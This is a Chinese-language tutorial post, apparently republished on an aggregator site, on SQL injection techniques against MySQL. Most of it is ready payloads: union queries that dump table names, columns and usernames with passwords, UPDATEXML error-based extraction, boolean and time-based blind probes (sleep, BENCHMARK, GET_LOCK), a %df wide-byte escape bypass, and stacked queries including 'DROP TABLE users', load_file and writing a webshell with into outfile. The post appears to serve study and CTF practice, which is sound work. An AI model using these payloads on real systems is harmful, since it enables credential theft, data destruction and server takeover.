当前位置: 首页 > news >正文

SQL注入(1)

1.原理:用户将恶意SQL语句的参数拼接到动态SQL语句,后端没有进行校验,然后在数据库中执行。

2.分类:

  • 联合查询注入
  • 报错注入
  • 宽字节注入
  • 二次注入
  • DNSlog注入
  • 请求头注入

3.

(1)联合注入查询:union

通过union拼接查询语句获得大量信息,让数据库同时返回原数据 + 你想要的数据。

前提:页面会把查询结果直接展示出来(有回显)

通用步骤:

  • 判断字段数(列数)

先猜当前查询有几列:

' ORDER BY 1--+ ' ORDER BY 2--+ ' ORDER BY 3--+ ...

直到报错,就知道列数。

  • 判断回显位(哪一列会显示在页面)

用 UNION SELECT 看哪些数字会被打印:

' UNION SELECT 1,2,3--+

页面出现 2,说明第 2 列是回显位。

  • 查库名、版本、用户
' UNION SELECT 1,database(),version()--+
  • 查表名
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+
  • 查字段名
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+
  • 查数据(账号密码)
' UNION SELECT 1,group_concat(username,password),3 FROM users--+

(2)报错注入

让 MySQL 执行过程中故意出错,并把查询结果当成错误信息吐出来。

所以 payload 必须同时满足两件事:

  • 能触发报错函数(让数据库抛异常)
  • 报错时把我们要的数据带出来

经典payload结构:

1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT 要查的东西),FLOOR(RAND()*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+

简化:

1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1) --+

(3)布尔盲注

页面不返回数据、也不报错,只能看到 “对 / 错” 两种结果时,用布尔盲注一位一位猜解出数据。

典型payload结构:

1' and substr(database(),1,1)='a' --+

常见变种payload:

  • 作用:用 ASCII 码范围判断,更快猜字母
1' and ascii(substr(database(),1,1))>100 --+
  • 作用:先猜数据库名长度是几位
1' and length(database())=5 --+

(4)时间盲注

页面既不显示数据,也不报错,连对错都看不出时,靠让数据库 “卡一下” 来判断真假。

  • 猜对了 → 让数据库sleep 延迟几秒
  • 猜错了 → 数据库立刻返回

典型payload结构:

1' and if(substr(database(),1,1)='a',sleep(5),0) --+

sleep函数被禁用:

不一定非要 sleep(5),只要能故意拖慢数据库就行。

  • BENCHMARK
1' and if(条件, BENCHMARK(10000000,MD5(1)), 0) --+

作用:让 MySQL 重复执行 MD5 (1) 一千万次,强行卡几秒。

  • 笛卡尔积耗查询(无函数版)
1' and if(条件, (SELECT count(*) FROM information_schema.tables A,information_schema.tables B), 0) --+

作用:大表联表查询,数据量爆炸,页面明显变慢。

  • GET_LOCK 锁表延时
1' and if(条件, GET_LOCK('abc',3), 0) --+

作用:申请一个锁,等待 3 秒,实现延时。

  • 运算延时
1' and if(条件, SHA1(sha1(sha1(1))), 0) --+

多层嵌套加密,也能轻微延时。

(5)宽字节注入

绕过 PHP 的 addslashes / 转义,把防御加的反斜杠 \ 吃掉,从而闭合单引号。

前提:数据库编码是 GBK / GB2312

原理:
PHP 加的反斜杠是:%5c
你输入一个字符:%df
组合起来:%df%5c
在 GBK 里,%df%5c 会被当成一个汉字 “運”

典型payload结构:

1%df' union select 1,2#

(6)堆叠注入

一次性执行多条 SQL 语句

正常注入只能在原语句里拼接逻辑(and /or/union)。
堆叠注入可以:
用;结束当前语句,再写一条全新的 SQL 一起执行。

例:

1'; DROP TABLE users; --+ 1'; SHOW DATABASES; --+

典型payload结构:

1'; payload; --+

新 SQL 语句可以是任意操作:

  • show databases;
  • show tables;
  • select * from users;
  • load_file('/flag');
  • into outfile... 写马

堆叠注入能干什么?

  • 查库、查表、查字段
  • 读取服务器文件(load_file)
  • 写入 webshell(into outfile)
  • 创建用户、赋权限
  • 删除表(drop)
http://www.jsqmd.com/news/643813/

相关文章:

  • kali 软件源设置为国内站点配置详解
  • 视频内容宝藏挖掘:智能PPT提取工具让知识留存更简单
  • SeqGPT-560M一键部署教程:开箱即用的NLP解决方案
  • 超元力VR大空间:以技术为桥,解锁沉浸式体验新可能
  • JetBrains IDE评估期重置技术解析:跨平台配置清理与插件化实现方案
  • 032.Web端部署:用Flask/FastAPI给YOLO造个API服务,这些坑我替你踩过了
  • Nano-Banana批量处理技巧:高效生成风格一致的产品拆解图
  • WindowsCleaner:高效解决C盘爆红问题的终极系统清理工具
  • 基于 FastAPI + Vue 深度定制的全栈自动化执行引擎设计全解
  • PMO-N8N
  • 改进型Z源逆变器拓扑及其并网研究
  • 【信奥业余科普】04:承载“0和1”的物理躯壳——从30吨的庞然大物到指甲盖大小的微缩奇迹
  • AI智能二维码工坊技术解析:H级容错编码原理与实现
  • ZoteroDuplicatesMerger架构设计与性能优化:学术文献去重插件的技术实现深度解析
  • 南宁AI物业试点刷屏!广西/南宁/桂林物业系统推荐
  • 【原创】IgH EtherCAT主站详解(二十三)--DC 同步实战
  • 分享孙盈舞蹈场地设施、音乐搭配、成人舞蹈教学,性价比高不高 - 工业设备
  • GLM-TTS快速体验:开箱即用,免费生成高质量语音
  • 有实力的长安跨越V5二手车购买平台推荐,新能源二手车值得购买吗分析 - 工业推荐榜
  • 如何用 port.start 开启共享子线程与主页面的长连接通道
  • 从吐槽到规则:Karpathy 如何给 AI 编程立规矩
  • 033.API服务优化:异步处理、批处理、GPU内存管理
  • MTools企业应用:客服中心智能语音质检系统
  • a 进制转 b 进制(2~16)
  • AIVideo新手入门:手把手教你配置镜像,快速开启AI视频创作
  • SAP MM DIEN类型服务料号的采购
  • 3分钟解密网易云音乐NCM文件:ncmdump技术解析与应用指南
  • C++ 继承与派生入门:从基础到实践
  • 有实力的预制直埋保温管厂家探讨,生产工艺成熟度深度剖析 - mypinpai
  • ncmdumpGUI完全指南:5分钟掌握网易云音乐NCM文件转换技巧